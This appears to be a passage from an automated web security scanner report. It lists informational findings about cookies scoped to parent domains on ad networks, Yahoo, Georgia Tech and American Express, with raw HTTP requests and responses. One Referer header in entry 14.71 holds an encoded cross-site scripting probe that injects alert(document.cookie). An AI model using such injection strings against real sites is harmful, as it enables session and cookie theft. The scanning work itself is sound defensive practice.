GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2117121&PluID=0&e=0&w=728&h=90&ord=7582024&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3aa6/3/0/%2a/m%3B235470018%3B0-0%3B0%3B23542470%3B3454-728/90%3B40150909/40168696/1%3Bu%3Dzdtopic%3Ditmanagement|zdtopic%3Denterprise|zdtopic%3Dintelligence|zdid%3Da6280|zdtype%3Darticle|zdaudience%3D|zdproduct%3D|zdcompany%3D|zdpagetype%3D%3B%7Eaopt%3D2/0/73/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: u3=1; C4=; ActivityInfo=000p81bCx%5f; eyeblaster=BWVal=408&BWDate=40573.510532&debuglevel=&FLV=10.1103&RES=128&WMPV=0; A3=f+JvabEk02WG00002h5iUabNz07l00000Qh5j3abNz07l00000.gYyfadw90cvM00001gn3Ka4JO09MY00001gNfHaaiN0aVX00001fU+La50V0a+r00001gL2MadKj0bdR00001gKXMaepH0bdR00001h802ae7k0c6L00001fUFGa50V02WG00001gYx+adw90cvM00001gKXNaepP0bdR00001gy3.ach00c9M00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001ge4Hack+0bM000001gNQ4ae7r0c9M00001; B3=7lgH0000000001sG89PS000000000QsZ89PT000000000.sZ8mb20000000001t48i440000000001t28bwx0000000001t482790000000002t5852G0000000003sS8qav0000000001t57dNH0000000002sZ7GHq0000000001s.7FCH0000000001s.83xP0000000001sF8cVQ0000000001sV82980000000001t3852N0000000001s.87ma0000000001s.6o.Q0000000001sY7gi30000000001sG8i430000000001t2852z0000000001sS852A0000000001sS; u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=BWVal=408&BWDate=40573.510532&debuglevel=&FLV=10.1103&RES=128&WMPV=0; expires=Sat, 07-May-2011 08:21:31 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: A3=gLnTaeKR09sO00001h5j3abNz07l00000.h5iUabNz07l00000Qf+JvabEk02WG00002gNfHaaiN0aVX00001gn3Ka4JO09MY00001gYyfadw90cvM00001gL2MadKj0bdR00001fU+La50V0a+r00001h802ae7k0c6L00001gKXMaepH0bdR00001gKXNaepP0bdR00001gYx+adw90cvM00001fUFGa50V02WG00001gy3.ach00c9M00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gCTVa9bU0c9M00001gy5Da9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001gNQ4ae7r0c9M00001ge4Hack+0bM000001; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=89PS000000000QsZ7lgH0000000001sG89PT000000000.sZ8bwx0000000001t48i440000000001t28mb20000000001t4852G0000000003sS82790000000002t57dNH0000000002sZ8qav0000000001t57GHq0000000001s.7FCH0000000001s.8cVQ0000000001sV83xP0000000001sF82980000000001t384U10000000001t6852N0000000001s.6o.Q0000000001sY87ma0000000001s.8i430000000001t27gi30000000001sG852z0000000001sS852A0000000001sS; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 13:21:30 GMT
Connection: close
Content-Length: 2841

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

14.68. http://buzz.yahoo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://buzz.yahoo.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

B=5u8ndkd6krkpl&b=3&s=t6; expires=Tue, 05-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: buzz.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.69. http://buzzport.gatech.edu/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://buzzport.gatech.edu
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

fos.web.server=pecos1; Domain=.gatech.edu; Path=/
fos.secure.web.server=pecos1; Domain=.gatech.edu; Path=/; Secure
runId=-1193727274256550608; Domain=.gatech.edu; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: buzzport.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: UserAgentId=-4483764115105998713; Path=/
Set-Cookie: fos.web.server=pecos1; Domain=.gatech.edu; Path=/
Set-Cookie: fos.secure.web.server=pecos1; Domain=.gatech.edu; Path=/; Secure
Set-Cookie: runId=-1193727274256550608; Domain=.gatech.edu; Path=/
ETag: W/"688-1272115022000"
Last-Modified: Sat, 24 Apr 2010 13:17:02 GMT
Content-Type: text/html
Content-Length: 688
Date: Sat, 05 Feb 2011 21:50:58 GMT
Connection: close
Set-Cookie: BIGipServerbuzzweb=614518658.20480.0000; path=/

<html><head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Expires" content="Mon, 01 Jan 1990 12:00:00 GMT">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Ca
...[SNIP]...

14.70. http://c03.adsummos.net/a/e/d1.ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://c03.adsummos.net
Path:	/a/e/d1.ads

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

adsud=BLU0YPM; expires=Fri, 06 May 2011 22:25:47 GMT; path=/; domain=.adsummos.net;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /a/e/d1.ads?r=55898391&bk_stamp=1&s=2jh81Z&et=6&sid=s21719 HTTP/1.1
Host: c03.adsummos.net
Proxy-Connection: keep-alive
Referer: http://c03.adsummos.net/a/e/s21719
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: adsuu=vmkju57YZhpA

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache
Content-Length: 153
Content-Type: text/html
Location: http://user.lucidmedia.com/clicksense/user/browser?p=d4f5efa344d0146a&i=8eca9d9961eb3197d2c29b6bafa25157&r=0&d=
Set-Cookie: adsud=BLU0YPM; expires=Fri, 06 May 2011 22:25:47 GMT; path=/; domain=.adsummos.net;
Set-Cookie: adsud9=; expires=Fri, 06 May 2011 22:25:47 GMT; path=/; domain=.adsummos.net;
ETag: "238f6d58764549fcc9077580bf048dc0:1296534099"
P3P: CP="NOI DSP COR NID CUR ADM DEV TAI PSAo PSDo OUR STP UNI COM NAV STA"
Cache-Control: max-age=86400
Date: Sat, 05 Feb 2011 22:25:47 GMT
Connection: close
Vary: Accept-Encoding

<HTML>
<HEAD>
<TITLE>Error Page</TITLE>
</HEAD>
<BODY>
An error (302 Moved Temporarily) has occured in response to this request.
</BODY>
</HTML>

14.71. http://c03.adsummos.net/a/e/s21719 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://c03.adsummos.net
Path:	/a/e/s21719

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

adsuu=vmkju57YZhpA; expires=Thu, 04 Aug 2011 21:53:21 GMT; path=/; domain=.adsummos.net;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /a/e/s21719 HTTP/1.1
Host: c03.adsummos.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html
Set-Cookie: adsuu=vmkju57YZhpA; expires=Thu, 04 Aug 2011 21:53:21 GMT; path=/; domain=.adsummos.net;
ETag: "b14d7b7fc278107ef643939a58fa5979:1296529756"
P3P: CP="NOI DSP COR NID CUR ADM DEV TAI PSAo PSDo OUR STP UNI COM NAV STA"
P3P: CP="NOI DSP COR NID CUR ADM DEV TAI PSAo PSDo OUR STP UNI COM NAV STA"
P3P: CP="NOI DSP COR NID CUR ADM DEV TAI PSAo PSDo OUR STP UNI COM NAV STA"
Vary: Accept-Encoding
Cache-Control: max-age=86400
Date: Sat, 05 Feb 2011 21:53:21 GMT
Connection: close
Content-Length: 8049

// <script type="text/javascript"><!--
var ADSUR, ADSUD, adsuTid, handleExeResponse, adsuAdTag, adsuGetSignal;/*

*/
var h=true,n=null,o=false;
(function(){function q(a,
...[SNIP]...

14.72. http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0R8lWflQ0f_326769041.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ;Path=/;Domain=.w55c.net;Expires=Mon, 04-Feb-13 21:49:02 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /i/0R8lWflQ0f_326769041.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZya1ZmSmN4QQ&ciu=MFI4bFdmbFEwZg&reqid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkM&ccw=SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjB8SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjA&epid=&bp=4400&dv=&dm=&dc=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fwww.orthougm.com%2F&refurl= HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560320&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942560294&frm=0&adk=2257162608&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=3&dtd=3&xpc=dnlnsmkeRR&p=http%3A//www.orthougm.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchrubicon=1; matchgoogle=1; matchappnexus=1; wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ

Response

14.73. http://clk.redcated/229/go/253329229/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://clk.redcated
Path:	/229/go/253329229/direct

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

AA002=001296946032-3966638; expires=Monday, 04-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
MUID=531E084363024CB3AD7955FF0ECDEFD5; expires=Wednesday, 24-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
ach00=f222/39a8; expires=Monday, 04-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
ach01=aafc23c/39a8/f197f4d/f222/4d4dd370; expires=Monday, 04-Feb-2013 00:00:00 GMT; path=/; domain=.redcated

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /229/go/253329229/direct HTTP/1.1
Host: clk.redcated
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Object moved
Cache-Control: no-store
Content-Length: 0
Expires: 0
Location: http://technet.microsoft.com/en-us/windows/dd641427.aspx?ITPID=allmdia
P3P: CP="NOI DSP COR CUR ADM DEV TAIo PSAo PSDo OUR BUS UNI PUR COM NAV INT DEM STA PRE OTC"
Set-Cookie: AA002=001296946032-3966638; expires=Monday, 04-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: MUID=531E084363024CB3AD7955FF0ECDEFD5; expires=Wednesday, 24-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach00=f222/39a8; expires=Monday, 04-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach01=aafc23c/39a8/f197f4d/f222/4d4dd370; expires=Monday, 04-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Connection: close
Date: Sat, 05 Feb 2011 22:47:12 GMT
Connection: close

14.74. http://clk.redcated/MRT/go/258547606/direct/01/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://clk.redcated
Path:	/MRT/go/258547606/direct/01/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

AA002=001297008221-9205649; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
MUID=AD078C8713444B159EBF588D5E9AEA57; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
ach00=12eae/39a8; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
ach01=ad483ed/39a8/f691f96/12eae/4d4ec65d; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /MRT/go/258547606/direct/01/ HTTP/1.1
Host: clk.redcated
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Object moved
Cache-Control: no-store
Content-Length: 0
Expires: 0
Location: http://www.microsoft.com/windows/enterprise/business-needs-overview.aspx?OCID=1WOD_paid&WT.srch=1
P3P: CP="NOI DSP COR CUR ADM DEV TAIo PSAo PSDo OUR BUS UNI PUR COM NAV INT DEM STA PRE OTC"
Set-Cookie: AA002=001297008221-9205649; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: MUID=AD078C8713444B159EBF588D5E9AEA57; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach00=12eae/39a8; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach01=ad483ed/39a8/f691f96/12eae/4d4ec65d; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Connection: close
Date: Sun, 06 Feb 2011 16:03:40 GMT
Connection: close

14.75. http://clk.redcated/MRT/go/264255445/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://clk.redcated
Path:	/MRT/go/264255445/direct

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

AA002=001297008076-9187794; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
MUID=F8B2EA3DB6EE4E618E0DC34A30CB08FD; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
ach00=903d/33f2; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
ach01=b0e4d02/33f2/fc037d5/903d/4d4ec5cc; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /MRT/go/264255445/direct HTTP/1.1
Host: clk.redcated
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Object moved
Cache-Control: no-store
Content-Length: 0
Expires: 0
Location: http://crm.dynamics.com/online?tabid=easy-to-use
P3P: CP="NOI DSP COR CUR ADM DEV TAIo PSAo PSDo OUR BUS UNI PUR COM NAV INT DEM STA PRE OTC"
Set-Cookie: AA002=001297008076-9187794; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: MUID=F8B2EA3DB6EE4E618E0DC34A30CB08FD; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach00=903d/33f2; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach01=b0e4d02/33f2/fc037d5/903d/4d4ec5cc; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Connection: close
Date: Sun, 06 Feb 2011 16:01:16 GMT
Connection: close

14.76. http://clk.redcated/MRT/go/267859374/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://clk.redcated
Path:	/MRT/go/267859374/direct

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

AA002=001297008076-9187674; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
MUID=8F39596F077049028597DA9B186C7374; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
ach00=129ed/39a8; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
ach01=b32673d/39a8/ff735ae/129ed/4d4ec5cc; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /MRT/go/267859374/direct HTTP/1.1
Host: clk.redcated
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Object moved
Cache-Control: no-store
Content-Length: 0
Expires: 0
Location: http://www.microsoft.com/en-us/cloud/default.aspx
P3P: CP="NOI DSP COR CUR ADM DEV TAIo PSAo PSDo OUR BUS UNI PUR COM NAV INT DEM STA PRE OTC"
Set-Cookie: AA002=001297008076-9187674; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: MUID=8F39596F077049028597DA9B186C7374; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach00=129ed/39a8; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach01=b32673d/39a8/ff735ae/129ed/4d4ec5cc; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Connection: close
Date: Sun, 06 Feb 2011 16:01:16 GMT
Connection: close

14.77. http://clk.redcated/go/264255445/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://clk.redcated
Path:	/go/264255445/direct

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

AA002=001297008076-9187974; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
MUID=CD1476F5A3284B4D8A84956285B32A92; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
ach00=903d/33f2; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
ach01=b0e4d02/33f2/fc037d5/903d/4d4ec5cc; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /go/264255445/direct HTTP/1.1
Host: clk.redcated
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Object moved
Cache-Control: no-store
Content-Length: 0
Expires: 0
Location: http://crm.dynamics.com/online?tabid=easy-to-use
P3P: CP="NOI DSP COR CUR ADM DEV TAIo PSAo PSDo OUR BUS UNI PUR COM NAV INT DEM STA PRE OTC"
Set-Cookie: AA002=001297008076-9187974; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: MUID=CD1476F5A3284B4D8A84956285B32A92; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach00=903d/33f2; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach01=b0e4d02/33f2/fc037d5/903d/4d4ec5cc; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Connection: close
Date: Sun, 06 Feb 2011 16:01:16 GMT
Connection: close

14.78. http://clk.redcated/go/267859374/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://clk.redcated
Path:	/go/267859374/direct

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

AA002=001297008076-9188004; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
MUID=3E2F68EB98BD48E59A5080FE6FA42FD0; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
ach00=129ed/39a8; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
ach01=b32673d/39a8/ff735ae/129ed/4d4ec5cc; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /go/267859374/direct HTTP/1.1
Host: clk.redcated
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Object moved
Cache-Control: no-store
Content-Length: 0
Expires: 0
Location: http://www.microsoft.com/en-us/cloud/default.aspx
P3P: CP="NOI DSP COR CUR ADM DEV TAIo PSAo PSDo OUR BUS UNI PUR COM NAV INT DEM STA PRE OTC"
Set-Cookie: AA002=001297008076-9188004; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: MUID=3E2F68EB98BD48E59A5080FE6FA42FD0; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach00=129ed/39a8; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach01=b32673d/39a8/ff735ae/129ed/4d4ec5cc; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Connection: close
Date: Sun, 06 Feb 2011 16:01:16 GMT
Connection: close

14.79. http://corp.americanexpress.com/gcs/cards/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://corp.americanexpress.com
Path:	/gcs/cards/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-25629229680629; path=/; expires=Sat, 05-Feb-16 21:50:31 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gcs/cards/ HTTP/1.1
Host: corp.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 21:50:31 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-cookie: SaneID=173.193.214.243-25629229680629; path=/; expires=Sat, 05-Feb-16 21:50:31 GMT; domain=.americanexpress.com
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=mzrsjm55ziqng1au1tmzi545; path=/
Cache-Control: public, max-age=90
Expires: Sat, 05 Feb 2011 21:52:01 GMT
Last-Modified: Sat, 05 Feb 2011 21:50:31 GMT
Vary: *
Content-Type: text/html; charset=utf-8
Content-Length: 39860

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<head>

...[SNIP]...

14.80. http://corp.americanexpress.com/gcs/cards/land/compare.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://corp.americanexpress.com
Path:	/gcs/cards/land/compare.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243--17320946710097; path=/; expires=Sat, 05-Feb-16 21:50:33 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gcs/cards/land/compare.aspx HTTP/1.1
Host: corp.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 21:50:33 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-cookie: SaneID=173.193.214.243--17320946710097; path=/; expires=Sat, 05-Feb-16 21:50:33 GMT; domain=.americanexpress.com
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=q0nfjsmlal0n1l45z4jzte55; path=/
Cache-Control: public, max-age=900
Expires: Sat, 05 Feb 2011 22:05:33 GMT
Last-Modified: Sat, 05 Feb 2011 21:50:33 GMT
Vary: *
Content-Type: text/html; charset=utf-8
Content-Length: 40724

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<head>

...[SNIP]...

14.81. http://corp.americanexpress.com/gcs/travel/us/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://corp.americanexpress.com
Path:	/gcs/travel/us/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243--17320946090159; path=/; expires=Sat, 05-Feb-16 21:50:33 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gcs/travel/us/ HTTP/1.1
Host: corp.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 191
Content-Type: text/html
Content-Location: http://corp.americanexpress.com/gcs/travel/us/default.htm
Last-Modified: Tue, 25 Nov 2008 02:00:23 GMT
Accept-Ranges: bytes
ETag: "78d8fc93a14ec91:2144"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-cookie: SaneID=173.193.214.243--17320946090159; path=/; expires=Sat, 05-Feb-16 21:50:33 GMT; domain=.americanexpress.com
Date: Sat, 05 Feb 2011 21:50:32 GMT
Connection: close

